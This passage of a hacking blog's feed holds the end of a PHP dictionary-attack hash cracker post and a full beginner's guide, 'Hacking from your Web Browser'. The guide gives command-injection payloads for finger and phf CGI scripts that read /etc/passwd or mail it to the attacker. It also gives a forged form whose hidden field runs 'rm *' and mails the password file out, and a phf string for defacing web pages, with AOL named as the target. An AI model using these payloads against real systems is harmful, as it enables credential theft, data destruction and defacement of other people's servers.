&amp;nbsp; &amp;nbsp; // else return an error msg&lt;br /&gt;
&amp;nbsp; &amp;nbsp; default;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo &quot;Could not determine the encryption algorithm.\n&quot;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo &quot;Ensure that the Hash is correct and try again.\n&quot;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// the usage stamp&lt;br /&gt;
function stamp() {&lt;br /&gt;
&amp;nbsp; &amp;nbsp; global $supported, $name;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; echo &quot;\nDicAttack\n-------\n&quot;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; echo &quot;Simple Wordlist Based Password Cracker\n&quot;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; echo &quot;Currently supporting $supported\n&quot;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; echo &quot;Syntax: $name &amp;lt;wordlist file&amp;gt; &amp;lt;hash&amp;gt;\n\n&quot;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
echo &quot;Couldn&#39;t find a match check your dictionary or hash and retry.\n&quot;;&lt;br /&gt;
&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*********************************************************************************************&lt;br /&gt;
The code is fairly simple and usage examples follow.&lt;br /&gt;
&lt;br /&gt;
We will be using this file as a wordlist.&lt;br /&gt;
&lt;br /&gt;
list.txt:&lt;br /&gt;
---------------------------------------------------------------------------------------------&lt;br /&gt;
a&lt;br /&gt;
b&lt;br /&gt;
c&lt;br /&gt;
ab&lt;br /&gt;
bc&lt;br /&gt;
abc&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
For an MD5 hash:&lt;br /&gt;
---------------------------------------------------------------------------------------------&lt;br /&gt;
zapotek@lil-z:~/Documents&amp;gt; php dicattack.php list.txt 900150983cd24fb0d6963f7d28e17f72&lt;br /&gt;
&lt;br /&gt;
Guessing MD5...&lt;br /&gt;
&lt;br /&gt;
Crack Successful!&lt;br /&gt;
-----------------&lt;br /&gt;
900150983cd24fb0d6963f7d28e17f72 = abc&lt;br /&gt;
-----------------&lt;br /&gt;
[ Operation took 0.028094053268433 seconds ]&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
For a SHA1 hash:&lt;br /&gt;
---------------------------------------------------------------------------------------------&lt;br /&gt;
zapotek@lil-z:~/Documents&amp;gt; php dicattack.php list.txt a9993e364706816aba3e25717850c26c9cd0d89d&lt;br /&gt;
&lt;br /&gt;
Guessing SHA1...&lt;br /&gt;
&lt;br /&gt;
Crack Successful!&lt;br /&gt;
-----------------&lt;br /&gt;
a9993e364706816aba3e25717850c26c9cd0d89d = abc&lt;br /&gt;
-----------------&lt;br /&gt;
[ Operation took 0.00048303604125977 seconds ]&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
Once again, these are the steps:&lt;br /&gt;
1) Read the hash from user input&lt;br /&gt;
2) Decide hash type depending on it&#39;s length (given that the hash is hexadecimal)&lt;br /&gt;
3) Read the dictionary&lt;br /&gt;
4) Put every word &amp;nbsp;in an array&lt;br /&gt;
5) Loop through the array of words&lt;br /&gt;
6) Create each words hash and compare it with the user given hash&lt;br /&gt;
7) If we have a match inform the user and exit, else keep looping&lt;br /&gt;
8) If we have exhausted the array tell the user we were unable to find a matching hash&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[ 0x0d ] Famous Crackers&lt;br /&gt;
============================================&lt;br /&gt;
Ok, these scripts are far from optimized and not suited for serious cracking.&lt;br /&gt;
Fortunately, a lot of advanced, high-end, applications exist, a list follows:&lt;br /&gt;
&lt;br /&gt;
John The Ripper&lt;br /&gt;
===============&lt;br /&gt;
Ok, who hasn&#39;t heard of that before huh?&lt;br /&gt;
Very fast hash cracker supporting a lot of algorithms.&lt;br /&gt;
Website: http://www.openwall.com/john/&lt;br /&gt;
&lt;br /&gt;
Cain &amp;amp; Abel&lt;br /&gt;
===============&lt;br /&gt;
That&#39;s more of a security suite than just a cracker.&lt;br /&gt;
Sniffer, cracker, decrypter, encrypter you name it, it&#39;s got it.&lt;br /&gt;
It&#39;s only for windows and it can extract VERY interesting information from a system.&lt;br /&gt;
Website: http://www.oxid.it/cain.html&lt;br /&gt;
&lt;br /&gt;
RainbowCrack&lt;br /&gt;
===============&lt;br /&gt;
Now that&#39;s a big boy toy!&lt;br /&gt;
The difference of RainbowCrack from other crackers is that it reads precomputed hashes&lt;br /&gt;
which make password cracking faster. Considering that the precomputed hash tables can&lt;br /&gt;
reach terrabytes in size you can imagine how many hashes you have before you even know it.&lt;br /&gt;
Problem is though, unless you have a cluster it is better to get the hash tables from&lt;br /&gt;
somewhere else than generate them yourself.&lt;br /&gt;
Website: http://www.antsight.com/zsl/rainbowcrack/&lt;br /&gt;
&lt;br /&gt;
L0phtCrack5&lt;br /&gt;
===============&lt;br /&gt;
That&#39;s the Cadillac of password recovery tools for Windows.&lt;br /&gt;
It&#39;s a sad thing that @stake got bought from Symantec and stopped supporting LC.&lt;br /&gt;
Search for LC5, though, chances are someone has a copy buried somewhere.&lt;br /&gt;
&lt;br /&gt;
LCP&lt;br /&gt;
===============&lt;br /&gt;
That&#39;s a freeware L0phtCrack clone.&lt;br /&gt;
Unfortunately, it runs only on Windows boxes&lt;br /&gt;
Website: http://www.lcpsoft.com/english/index.htm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
These are the most widely used applications, give them a shot, you&#39;ll love them.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[ 0x0e ] Pros and Cons of the 2 attacks&lt;br /&gt;
============================================&lt;br /&gt;
&lt;br /&gt;
Brute Force&lt;br /&gt;
=================&lt;br /&gt;
Pros&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;        &lt;/span&gt;Cons&lt;br /&gt;
-----&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;        &lt;/span&gt;-----&lt;br /&gt;
It is guaranteed that the hash will get cracked&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;It might even take years for the crack to complete&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;        &lt;/span&gt;It requires a lot of computation power&lt;br /&gt;
&lt;br /&gt;
Dictionary Attack&lt;br /&gt;
=================&lt;br /&gt;
Pros&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;        &lt;/span&gt;Cons&lt;br /&gt;
-----&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;        &lt;/span&gt;-----&lt;br /&gt;
Faster than bruteforcing &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;Significantly less chances to crack a hash than bruteforce&lt;br /&gt;
A lot of big dictionaries are freely available&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;If the encrypted string is random no &quot;valid&quot; wordlist will crack it&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[ 0x0f ] Epilogue&lt;br /&gt;
============================================&lt;br /&gt;
Ok, this paper got to an end.&lt;br /&gt;
It wasn&#39;t a big, in depth, analysis of the 2 techniques but I hope that it&lt;br /&gt;
served as a good starting point.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqe3TM6WT3lPBXF1C-05c8yVhfZ03Pc-gsLtb_rX6mKxHvn6i5_6PvtTk5ei7XUIfQw-AsJ2DD0U3HtLTcLN8hhyphenhyphentsaq68zh0d9U7g1lCmZTzcX__ylZ6yu84ceE5rmlfybsVuaAi2qu8/s1600/term-bruteforce.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqe3TM6WT3lPBXF1C-05c8yVhfZ03Pc-gsLtb_rX6mKxHvn6i5_6PvtTk5ei7XUIfQw-AsJ2DD0U3HtLTcLN8hhyphenhyphentsaq68zh0d9U7g1lCmZTzcX__ylZ6yu84ceE5rmlfybsVuaAi2qu8/s320/term-bruteforce.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://intohackingwithuntamed.blogspot.com/feeds/3912903893870773928/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8981203489549642442/3912903893870773928?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/3912903893870773928'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/3912903893870773928'/><link rel='alternate' type='text/html' href='http://intohackingwithuntamed.blogspot.com/2012/08/analysis-of-brute-force-dictionary.html' title='Analysis of brute force &amp; dictionary attacks'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqe3TM6WT3lPBXF1C-05c8yVhfZ03Pc-gsLtb_rX6mKxHvn6i5_6PvtTk5ei7XUIfQw-AsJ2DD0U3HtLTcLN8hhyphenhyphentsaq68zh0d9U7g1lCmZTzcX__ylZ6yu84ceE5rmlfybsVuaAi2qu8/s72-c/term-bruteforce.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8981203489549642442.post-7702378678357166927</id><published>2012-08-15T04:54:00.001-07:00</published><updated>2012-08-15T05:15:49.335-07:00</updated><title type='text'>Hacking from your Web Browser</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #e06666;&quot;&gt;Hacking from your Web Browser&lt;/span&gt;&lt;/h2&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkEx0XjukVfMgDXI0YhYRLpwIZsBPu8_C9Ec2HHmM-JjVor6NYHe9suSXUh5WK7nYeK4E-HyaLcN7F6TOZwSRFbcl5ncumupvsdeNAlVK8i9hGaYk4p0ZvpksW9U9MBZJRBCmUUVb2SYk/s1600/main-card-browser-exploiter.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkEx0XjukVfMgDXI0YhYRLpwIZsBPu8_C9Ec2HHmM-JjVor6NYHe9suSXUh5WK7nYeK4E-HyaLcN7F6TOZwSRFbcl5ncumupvsdeNAlVK8i9hGaYk4p0ZvpksW9U9MBZJRBCmUUVb2SYk/s320/main-card-browser-exploiter.png&quot; width=&quot;224&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;&lt;br /&gt;
************************************************************************&lt;br /&gt;
&lt;br /&gt;
I - Introduction&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;This file will describe several techiniques to aquire a password file just by using an ordinary web browser. &amp;nbsp;The information provided will be best described for the beginner hacker, but all hackers should benifit from this information. &amp;nbsp;We will only cov&lt;br /&gt;
&lt;br /&gt;
er phf in this file but, feel free to explore other programs in the cgi directory such as nph-test-cgi or test-cgi. &amp;nbsp;And now . . . get comfortable... sit back.... and read.&lt;br /&gt;
&lt;br /&gt;
II - Hacking from your Web Browser&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;There are several techniques on what I call &quot;Web Browser Hacking&quot;. &amp;nbsp;Many beginners dont know that you cant query a etc/passwd file from your browser and in this chapter I will describe all the ways to aquire a passwd file. &amp;nbsp;First you need to find a box t&lt;br /&gt;
&lt;br /&gt;
hat is running the cgi-bin/phf file on their system. &amp;nbsp;A great way to find out without trial and error is to go to www.altavista.com and just search on cgi-bin AND perl.exe or cgi-bin AND phf. &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; a. &amp;nbsp;Finger box hacking: &lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;Lets say you wanted to break into somewhere like .... hmmmm AOL. &amp;nbsp;The first thing we would do is type in their web site in the URL: &amp;nbsp;Http://www.aol.com. &amp;nbsp;The next thing we would do is add /cgi-bin/finger to the web URL so it would look like this Http://&lt;br /&gt;
&lt;br /&gt;
www.aol.com/cgi-bin/finger. &amp;nbsp;If the finger gateway is operational a box should appear for you to enter the name you want to finger. &amp;nbsp;If it is operational you have a chance to receive the etc/passwd file. &amp;nbsp;Next thing you will probably want to do is search&lt;br /&gt;
&lt;br /&gt;
for a mailto on the web page... just scan the page for any mailto refs. &amp;nbsp;Go back to the finger box and type in this query...... &amp;nbsp; nobody@nowhere.org ; /bin/mail me@junk.org &amp;lt; etc/passwd ...this string takes nobody and emails the passwd file to your email&lt;br /&gt;
&lt;br /&gt;
address. &amp;nbsp;If this works you now have the etc/passwd file in your mailbox.... you can now run a crack program against it and have a little fun on their box.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;b. &amp;nbsp;The common cgi-bin/phf query:&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;This section is for the very beginning hacker (All advanced hackers need not apply) &amp;nbsp;Lets take the same scenerio from the first example except in the URL we would type ... Http://www.aol.com/cgi-bin/phf ... if the phf is operational and has not been rem&lt;br /&gt;
&lt;br /&gt;
oved you should get a series of search boxes on the next page ( ignore these boxs) &amp;nbsp;to your URL you would add this string ?Qalias=x%0a/bin/cat%20/etc/passwd... so the entire string would look like this Http://www.aol.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20&lt;br /&gt;
&lt;br /&gt;
/etc/passwd. &amp;nbsp;This string will print out the etc/passwd file strait to your web browser all you need to do is save it as a file and again run a crack program against it. (This is considering that they are not :*: or :x:).&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; c. &amp;nbsp;Dont take my cgi form:&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;This section will explain how to use somebody else&#39;s cgi form to obtain the etc/passwd file. &amp;nbsp;Lets say you look at a document source from a web page and find this in the source:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;h2&amp;gt;This is a form to go to Modify&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;&amp;lt;form action = &quot;http://www.aol.com/cgi-bin/doc.pl&quot; &amp;nbsp;method=&quot;get&quot;&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;input type=&quot;hidden&quot; name=&quot;myaddress&quot; value=&quot;nobody@aol.com&quot;&amp;gt;&lt;br /&gt;
&amp;nbsp;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;&amp;lt;input type=&quot;text&quot; name=&quot;input&quot;&amp;gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;&amp;lt;input type=&quot;submit&quot; value=&quot;send&quot;&amp;gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;&amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is a simple form that asks a user to input a message to be sent to a script called doc.pl. &amp;nbsp;Included in the doc.pl script is the following line which is assuming the line has already been parsed out.&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp; system(&quot;/usr/lib/sendmail -t $myaddress &amp;lt; $tempfile&quot;)&lt;br /&gt;
&lt;br /&gt;
Now lets set up your page:&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;&amp;lt;h2&amp;gt;Hack AOL&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;&amp;lt;form action = &quot;http://www.aol.com/cgi-bin/doc.pl&quot; method = &quot;get&quot;&amp;gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;&amp;lt;input type=&quot;hidden&quot; &amp;nbsp;name=&quot;myaddress&quot;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;value=&quot; ; rm * ;mail -s file youraddress@yourisp.com &amp;lt; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;/etc/passwd;&quot;&amp;gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;&amp;lt;input type = &quot;text&quot; name=&quot;input&quot;&amp;gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;&amp;lt;input type = &quot;submit&quot; value=:&quot;getpasswd&quot;&amp;gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; &amp;nbsp; &amp;nbsp;&amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The semicolons in the hidden value field act as delimiters, they separate the UNIX commands, this executes commands on the same line. &amp;nbsp;The system call in PERL and creates a UNIX shell, and in here mails the passwd file to you.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; d. &amp;nbsp;Changing web pages from your browser:&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;This short section will describe the string to use to edit a web page from your web browser. &amp;nbsp;Same scenario as the first section.... &amp;nbsp;http://www.aol.com.... we will then add the following string cgi-bin/phf?Qalias=x%0a/bin/echo%20 &quot;some text and shit&quot;%2&lt;br /&gt;
&lt;br /&gt;
0&amp;gt;&amp;gt;filename.html...... &amp;nbsp;This string will allow you to write to the filename.html and add &quot;some text and shit&quot; be noted it has to be in html format. &amp;nbsp;You can place text, pictures or whatever you like.&lt;br /&gt;
&lt;br /&gt;
III - Conclusion&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;This information should be able to direct a beginner in obtaining the etc/passwd file from a system using the web browser... It may also inform the guru&#39;s and advanced hackers some bits of information of perl and cgi. &amp;nbsp;In further reading check out my sec&lt;br /&gt;
&lt;br /&gt;
ond file that will involve erasing log files from the web browser. &amp;nbsp;I hope you all enjoyed this documentation and found it somewhat interesting...... wake up!!! &amp;nbsp; thus I conclude.....&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Modify.&lt;br /&gt;
&lt;br /&gt;
IV - Suggested Reading&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Phrack Magazine: &amp;nbsp;Very informative.... covers just about everything from phreaking to hacking.... Just download all the damn articles.&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Building Internet Firewalls by O&#39;Reilly &amp;amp; Associates, Inc. aka &quot;The Big Wooden Door&quot;&quot;: &amp;nbsp;Covers all kinds of attacks, different firewall solutions, and invulnerablities.&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Perl in 21 days by Samsnet: &amp;nbsp;Good starting book in Perl programming also covers security issues.&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Cgi programming by Samsnet: &amp;nbsp;Good starter for Cgi but if you dont know Perl or C programming then dont bother, also covers security issues.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://intohackingwithuntamed.blogspot.com/feeds/7702378678357166927/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8981203489549642442/7702378678357166927?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/7702378678357166927'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/7702378678357166927'/><link rel='alternate' type='text/html' href='http://intohackingwithuntamed.blogspot.com/2012/08/hacking-from-your-web-browser.html' title='Hacking from your Web Browser'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkEx0XjukVfMgDXI0YhYRLpwIZsBPu8_C9Ec2HHmM-JjVor6NYHe9suSXUh5WK7nYeK4E-HyaLcN7F6TOZwSRFbcl5ncumupvsdeNAlVK8i9hGaYk4p0ZvpksW9U9MBZJRBCmUUVb2SYk/s72-c/main-card-browser-exploiter.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8981203489549642442.post-3296669472793645228</id><published>2012-08-15T04:52:00.005-07:00</published><updated>2012-08-15T05:16:33.889-07:00</updated><title type='text'>UNIX hacking</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.. &amp;nbsp;&lt;span style=&quot;color: #990000;&quot;&gt;The Beginner&#39;s guide ..&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.. &amp;nbsp; &amp;nbsp;to UNIX hacking&lt;/span&gt; &amp;nbsp; &amp;nbsp;..&lt;/h2&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisSuTvt1OWhLypXb12-f_v2LFBA4lDWn_Zhtn_OPY5He30u8Ha7tHPW9J3lksVlNESHuj3ZdfvzrU4O-2EWYu7mLs9mJYhBLaIQSN07EgaFuteG4tz2j6T1918f0DDFIdTCyorDXogSkU/s1600/Unix.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisSuTvt1OWhLypXb12-f_v2LFBA4lDWn_Zhtn_OPY5He30u8Ha7tHPW9J3lksVlNESHuj3ZdfvzrU4O-2EWYu7mLs9mJYhBLaIQSN07EgaFuteG4tz2j6T1918f0DDFIdTCyorDXogSkU/s320/Unix.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,,..&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
